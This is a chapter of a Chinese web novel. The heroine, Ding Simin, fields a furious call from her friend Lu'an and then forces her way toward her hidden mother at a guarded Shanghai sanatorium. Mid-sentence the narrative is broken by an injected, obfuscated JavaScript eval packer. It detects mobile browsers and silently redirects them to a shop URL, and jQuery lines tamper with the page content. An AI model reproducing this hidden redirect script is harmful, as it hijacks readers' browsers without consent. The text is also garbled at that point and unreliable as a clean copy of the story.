耳边露安的咆哮余音绕梁,脑子里则是一水儿的白,懵圈的空白。
不应该啊。丁思敏眼睛直愣愣地朝天花板上望。
什么叫“你男人疯了”?
露安口中的她男人,除了赵峯城也没别人了。
赵峯城疯了?
什么意思?赵峯城怎么可能发疯呢,他就不是个会疯狂的人,就算是发怒,那也都是压抑的、阴森的,如果说那些会在明面上发狂发飙的男人生起气来是大猩猩荡树捶墙,那赵峯城大概就是老虎,不声不响绕到你身后,一口下去就断了你的脖颈,再不然就是蟒蛇,无声收力,直接把你的骨头绞成无数段。
你会说他发怒了,但绝不会说他发疯了。
丁思敏脑子混乱得很,说话都颤颤巍巍的:“怎么了到底,怎么回事儿,出什么事了?”
她先前敢去找露安,其实也是提前思量过的,她跑路之后,赵峯城那边肯定会找人,找到露安的可能性也很大,毕竟她约露安出来根本没瞒着他。
但是一来,露安家里的能量不小,他赵峯城再厉害,难道还能大笔一挥下道圣旨满门抄斩吗,现在又不是封建社会奴隶社会,就算是世界首富美国总统,也当不成能够为所欲为的地球球长;二来,她当时没有和露安说过她要跑回中国的事,只是问露安要了情报贩子的联系方式,露安根本没参与她要逃跑的事,赵峯城怪天怪地怪路边的鼻涕虫也怪不到露安的身上。
但现在是怎么回事?赵峯城不会吧,他不会的吧——
那边的露安怒吼过后,大概嗓子也涩了,气也平了,转暴怒为冷笑:“你说出什么事儿了?你男人找到我这儿来了。”
“他对你做了什么?”丁思敏冷汗都下来了,“他不会把你给——”
她手捂在话筒旁,瑟缩用气声:“你现在安全吗?旁边没人吧?你……”
电话另一头的露安一听她这副通常出现在凶杀大案刑侦实录普法栏目剧里的语气,又是气不打一处来:“你想什么呢!老娘家里人还没死光呢!”
丁思敏一下又长喘出一口气,松脱无力:“吓死我了……那到底出了什么事嘛?我跑回国和你没关系呀,你又不知道,他就算找你能做什么呢,和你没关系呀,讲不讲道理。”
露安气急败坏:“你猪脑子啊?你跟了赵家的这么久,他是讲道理的人吗?他妈的他直接找上我爸妈了!本来他俩最近忙得不可开交,平常要么满世界的跑要么整天忙政坛商圈上的事儿,根本不管我,现在好了,我被拎回家劈头盖脸一顿,现在还被限制行动了,说什么特殊时期让我别再出去惹事儿!都是你男人干的好事!不,都是你惹出来的祸!你这个()*&……*&%……”
知道她没遭什么真罪,丁思敏才放下心来,然后呜呼诶哟、顺从无比地挨着骂,自知理亏半点不还嘴,不断陪笑,等到露安又一次舒够气了,才敢接着说话。
“那,你怎么和那边说的呀?”她小心翼翼地问,“就是,我还能去找你给我推荐的那个人吗?”
要是露安把她要去找人买消息的事也告诉赵峯城了,那她北京可就去不成了。
露安“哼”的一声冷笑:“怎么不能,我没把这件事说出来。”
丁思敏一下坐直身体了,万万没想到露安竟然仗义到如此程度,顿时感动得眼泪汪汪:“露安,你……”
“打住!”露安掐住她的妖苗头,“我可不是为了你,我就是纯属膈应他,他不仁老娘不义,敢给我下绊子,我还能让他称心如意了?”
不管是为了什么,总归就是没说,丁思敏在沙发上哼哼唧唧地扭:“露安,好露安,你怎么这么好,太有魄力了,人家跟你真是跟对了,下辈子人家还跟你……”
露安那边鸡皮疙瘩都给她恶心出来:“呸呸呸,你少来,姑奶奶不好这口啊!”
“而且我警告你,这两天赵家那边阵仗特别大,还连带着股权变动,我听说你离开巴黎那天,巴黎好几个街道出了特大追车事故,现在是多事之秋,赵峯城还为了你弄出这么大的动静,我就友情提醒你一下,你现在既然已经跑了,那就跑干净,跑彻底,别拖拖拉拉的。”
“要不然,如果真被姓赵的逮回来,哼,你就等着吧。”
这回起鸡皮疙瘩的轮到丁思敏了,露安最后那段凉凉的笑声让她不寒而栗。
直到挂了电话,还久久回不过神来。
——
上海,南京西路。
她开了房门,满身疲惫,把帽子和背包丢到沙发上,趿拉着拖鞋,一路褪衣,朝浴室走去。
上海国际饭店的标准大床房,地方不大,带着年代的气息。
她的钱要去住几晚新开业的五星级酒店也是够的,但现在要用钱的地方多,那张巨额本票又没真正换成账户上的钱,如果不是她担心人身财产安全问题,她可能就随便找个小宾馆住了。
最普通的大床房,浴缸是肯定没有的,淋浴头出了热水,丁思敏手抚推着脸上发上的流水,从头到脚,皮肤渐渐从雪白淋成粉红。
气蒸起来,水淋下来,睁眼都没功夫,算上今天,她到上海已经四天了,而今天又是铩羽而归的一天。
身心俱疲。
她对上海并不熟悉,在拿着那张写着地址的照片到沪之后,才发现那家疗养院有多神秘。
疗养院位于奉贤郊区,离她所在的黄浦区有几十公里的路程,她上互联网上搜索过这家疗养院,消息很少,不过出乎意料的是,这个神秘兮兮的地方竟然建有官方网站,只是官网界面内容都很简洁,提供有联系电话和邮箱。
她第一天到达上海后,立刻给疗养院去了电话。
她没有直接说“我妈妈在你们院里,我妈妈是xxx”这样暴露信息的话,因为她对江玲为什么会在这个地方一无所知,她甚至想,万一江玲现在用的是化名或者别的身份呢?
她只说,她家里有人想要找疗养院,请问能不能去参观一下。
在她的印象里,一般疗养院、养老院之类的地方,如果向院方表达了视察环境的需求,那么多半是会答应的。
但没想到的是,疗养院那边礼貌而果断的拒绝了,理由是,不对外接收普通病人,想要进入疗养院有三种方式,一是验资、然后购买疗养院总集团特定的的金融服务,附赠疗养服务,二是资料经过审查,如果院方确定资格足够,就可以进入,三是邀请制,需要VIP客户的介绍。
普通的参观请求,他们也是不接受的。
于是第一次试探就这么失败。
上面三种方式,无论哪一种,目前来说,丁思敏都无法达到,后两种就不用说了,第一种的金融服务,丁思敏查了,要想达得到,得把那张本票兑现了才行。
到了第二天,丁思敏直接动身前往奉贤。
本来她想,到了疗养院,真刀真枪面对面的,总有机会。
但人算不如天算,谁能想到光是找到那家疗养院,就花了她整整一天的功夫。
无论是从书报亭买的地图,还是互联网上的地图和导航,全都找不到这个地方。
按理来说,这么一家疗养院,占地肯定不小,又有门牌号,可她从天亮找到天黑,那个地址前后门牌号的建筑都找着了,就是找不到那家疗养院,最后才终于在一个阿伯那里问到了准确的路。
真正到了疗养院大门的时候,她的两眼都冒绿光了,一是饿的,二是绝望的。
因为这家疗养院说是疗养院,其实根本就是一座疗养山庄。
近十米高的围墙一路沿绕包围,钟山疗养院刻在一块巨石上,矗立在门边,从铜铁雕花的巨门看进去,深深木森卫侧着唯一一条主干道路,连疗养院建筑的影子都看不到,守门的保卫科也不是老大爷,而是身强体壮的专业安保。
当时丁思敏就傻了眼了。
这样的地方,她别说混进去,她就是会遁地,估计遁半天,还没找着地,就被人一榔头给敲了。
她在门外探头探脑没多久,里头的保安就有反应了,加上天已经变黑,她只能赶紧拉紧口罩,溜之大吉。
而经过前两天的踩点,她这两天就开始正式摸索了。
想要进入疗养院,必须要过保卫科那一关,她第三天的时候,想到伪装医学院的学生进去访问学习,就花钱在网上,问真正的学生借了学生证。
今天正式付诸行动,她还煞有介事地带了采访要用的本子录音笔等物。
结果这点小伎俩根本没用,门口的保安还一言难尽地问她:“妹妹,你是不是美国电影看多了。”
拿着本学生证记者证就想随便进不对外开放的封闭区域或者某个大佬面前采访参观?这里是中华人民共和国。
丁思敏羞耻无比,其实她一到地方就觉得自己脑子有毛病了,但是无奈箭已离弦,来都来了,遂接着软磨硬泡,结果还是无功而返。
在浴室里呆了半个小时,呼吸都有点闷了,丁思敏停了水,用毛巾包住头发,擦干净水,裹好浴袍往外走。
她坐到椅上,白色的窗纱在旁边静默。
她身上很累,心里更累,从前什么事都有妈妈替她挡着,到了美国,她也就苦了一小段时间,后头又有赵峯城替她撑着,她很久没这么累过了。
身上的累还好说,只是心里的累,没办法逃避。
眼看着这几日的尝试都以失败告终,一个星期的时间也即将过去,她不得不考虑,用最后的办法了。
最后,也是最无技巧的办法。
带着江玲的照片,带着她自己的身份证,还有证明她们母女关系的户口本复印件,直接找上疗养院,大闹一场,告诉他们,我怀疑你们监禁我的母亲,你们要是不让我见母亲我就报警了……电视剧里怎么闹,她就怎么闹。
她不喜欢闹,更害怕闹,她就一个人,手无缚鸡之力的女孩,而那座疗养院里的人,光是一个保安就能把她拎走丢得远远的,那个地方又人烟稀少,她怎么能不怕呢。
可是再怕,她难道就走了吗,那她回国的意义是什么,妈妈生病了,现在孤零零地在一个与世隔绝的地方,她怎么能不去找她呢?
丁思敏抽噎了一下,站起身拿吹风机。
……
“已经和你说过了,这不符合规定!”
“这怎么不符合规定?难道你们院的规定还能够凌驾国家法律吗?你们看看,这是户口本!能证明亲子关系的!我的直系亲属在里面,你们凭什么不让探视?”
“都说了不行!”
“怎么不行!叫你们院领导出来!”
“……”
平常寂静庄严的大门处此刻炸开了锅,一滴水珠子甩到沸腾的油里,顷刻就爆出油花儿来。
惹起锅炸的水珠子此刻死死抓在大门雕花铁杆上,死命地嚎,喊完“我要见院领导”就是“这是公民正当权利”,最后哭天抹泪地“我要报警你们这是非法拘禁”。
旁边人高马大的保安们焦头烂额,脾气硬点的想上去直接把她拔下来,但刚一靠近,那女孩就从口袋里掏出把剪刀来胡乱挥舞,有道是武林高手也挨不住一闷棍,金钟罩铁布衫也难抗菜刀一砍,顿时又退却。
理性点的在看到她刚来时出具的那堆证件时就已经通知了院内,因为这股闹腾劲儿像精神病,但这证件齐全的、张口闭口法律条规的,又明显是有备而来。
这么闹了好一会儿,大门内的主干道上远远传来车辆的声音。
保安们大松一口气,显然是救兵驾到,而一手扒在门上一手拿着剪子的丁思敏更是重重一个大喘,她在美国被赵峯城娇滴滴地养了一年多,出门不是劳斯莱斯就是直升机、私人飞机,外出最多的运动量来自逛街,健身三天打鱼两天晒网,今天在这儿闹这么久,一人对抗数十大汉,真是遭老罪了。
车辆很快行驶到近处,丁思敏打眼一瞧,是辆凯迪拉克,车门齐齐打开,白大褂刷刷钻出,直奔大门而来。
要不怎么人都说和文化人聊天更舒服,白大褂们不愧是知识分子,还是专供疗养方面的知识分子,一到跟前,第一件事就是让保安们全部散开。
其中一位看起来明显地位最高,头发也最稀疏的白大褂站到她跟前:“小姐,您先别激动,您要见我们,我们已经来了,我是今天值班的主任医师,我姓覃,有什么事您和我说,先下来,这铁门天天擦,还是有锈,划到就不好了,破伤风针很疼的,先下来好吗?你看,这么多人在这儿呢,咱们有事儿慢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449305|201117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢聊。”
这话说的像哄小孩儿,丁思敏都有点脸红了,踌躇了一下,还是下来了。
“你是管事儿的?”她拍了拍手,瓮声瓮气,刻意的凶巴巴。
既然是来强闯的,气势不能输。
“是。”覃姓白大褂温和地点点头,“听保安说,您是来找人的。”
丁思敏重重地“嗯”了一声:“我来找我的母亲,她在你们疗养院里,我不想闹事,但是他们一口一个规定,我已经出具了可以证明我和我母亲的身份以及亲子关系的文件,但他们就是不肯让我进!”
白大褂了然,说道:“原来是这样,我先代他们向您说声抱歉,不过呢,这确实怪不了我们的保安,我们疗养院的规定很严格,不能向外透露客户的信息,尤其是涉及到患病的客户,保密工作就更加严密,您的证件,保卫科的条件也不足以检验真伪,所以只能一刀切地处理了。”
丁思敏:“这我知道,所以我才和他们说,让你们来,现在你们来了,你们是医生,总能够有查阅资料的权限了吧?我妈妈是在我不知情的情况下被送到你们疗养院里来的,我作为直系亲属,既然找到这里了,就应该有探视的权利。”
覃姓白大褂顿了一下,然后问:“您确定,您的母亲在我们疗养院里吗?”
“我当然确定。”丁思敏从兜里拿出那张照片,递给他,“你看,这应该就是在你们疗养院里拍的,上面的就是我妈妈,我还有户口本复印件、我和我妈妈一起拍的老照片,能够证明我和她的亲子关系。”
她一边解释着,又从背包里拿出一张她小时候,江玲抱着她拍的相片,还有户口本复印件。
而那个白大褂把东西接过去之后,来回看了几遍,又抬头看了她的脸几回,不知为何,陷入了沉默。
丁思敏翘首等着,眉头皱得很紧。
“怎么了?这些还不够证明吗?你们院里有没有这个病人,你们总该知道的吧?要是你不知道,你去查一查,我就在这儿等着。”她焦急,“我告诉你们,你们要是敢搪塞我,我真的会报警的!”
不知道是她的威胁起了作用,还是她的证据够充分,覃姓医生沉默过后,抬头微笑:“不至于。这样吧小姐,您今天先回去,您这些东西我拍个照,您再留个电话,我回去请示一下上面,再给您答复,这样可以吗?”
丁思敏眯起眼睛:“你不能现在就请示吗?打个电话而已。”
覃姓医生摇了摇头:“您这张照片上是病人,我说过了,涉及到病患,信息都是最严密的,不仅要口头请示,还需要书面报告,您不用担心,最迟明天早上,我们会给您答复的。”
“万一你骗我怎么办?”
“小姐,这有什么好骗您的呢。我很理解您的心情,但是实在抱歉,这件事以我的权限真的做不了主,如果您实在不同意,那我们也没有办法,就算是警察来了,也是一样的。”
丁思敏涨了张口,一口气提起来,须臾,又闷下去。
她当然不想把事情闹到公安局去,江玲到底在不在里面,现在她就一张照片在手,照片里也没有拍到任何疗养院的标识,警察一来,院方硬说没这个人,她能怎么办,她的证据是不足的,更何况,就算她证据充足,警察也不一定会管这种事,多半是让他们好好沟通,好好调节,那不就是现在的状态吗,又何必再闹一遭。
最重要的是,现在这个医生的样子。
丁思敏抿紧唇。
她感觉,他应该是认出她妈妈了的,只不过为了什么保密条例,不能够直说,否则还和上面请示什么呢。
一天而已,她等得起。
“好吧,”她点头,努力摆出凶恶的模样威胁,“不过我丑话可说在前面,要是你们骗我,下次我过来,可就不只是这么点动静了。”
白大褂公事公办的微笑:“您放心。”
丁思敏泄出口气,把东西都隔着栏杆递过去,给他拍照,拍好照了,收拾东西回背包。
“记着给我打电话!我还会回来的!”把背包甩上肩。
离开的时候,一步一回头。
哼。
跑得了和尚还跑得了庙么。
……
回去的一晚,丁思敏睡得并不安稳。
她从奉贤回到酒店,浑身累不说,还得头疼一个问题——
她临走前放大话放了个爽快,但是真冷静下来了,她就脑袋嗡嗡嗡了。
她再去要怎么闹呢?今天这样肯定是不行了,这种强度他们肯定适应了,要是一而再再而三都是一模一样的闹法,人家也就知道没什么厉害了,闹着闹着,说不准还会因为寻衅滋事被抓走。
可是她还能怎么办呢?今天拿剪子,明天扛电锯?她拎那玩意儿公交车都上不去吧,怕是走哪儿都被警察拦住问话。
那还能怎么样,放火?
纵火可是大罪,她刚回归祖国就要变成丁建华二世了?
那怎么行!她疯了才这么干呢!
丁思敏浑身恶寒,缩在被子里。
不知不觉地睡过去。
清晨,被手机铃声吵醒。
睡眼惺忪,睁开条缝,翻盖摁了接听:“……喂?”
“丁小姐吗?这里是钟山疗养院。”
被子里寂静,下一秒,腾地掀翻。
丁思敏一下坐起来,抬手捞开散乱的头发:“是,我是!”
“昨天您来过我们这里,您还记得吗?”
“当然记得!”
“是这样的,昨天接待您的覃医生已经和院领导打过报告了,今天您就可以过来探视亲属。”
巨大的惊喜砸下来,一时间砸得人都懵掉。
“好,好……”她喘息都混乱,“我马上过去,啊不,大概两个小时,两个小时之后到!”
“您不必着急,因为江玲女士的情况比较特殊,为了保障您和病人的安全,您到这里之后,还需要等候医生的安排,根据医生的指示进行探视。”
丁思敏愣住:“什么意思?什么叫,保障安全?”
电话那头镇静:“您别紧张,我只是按照条例和您说一些前提条件,具体的情况还是要您过来,医生当面和您说会比较清楚。”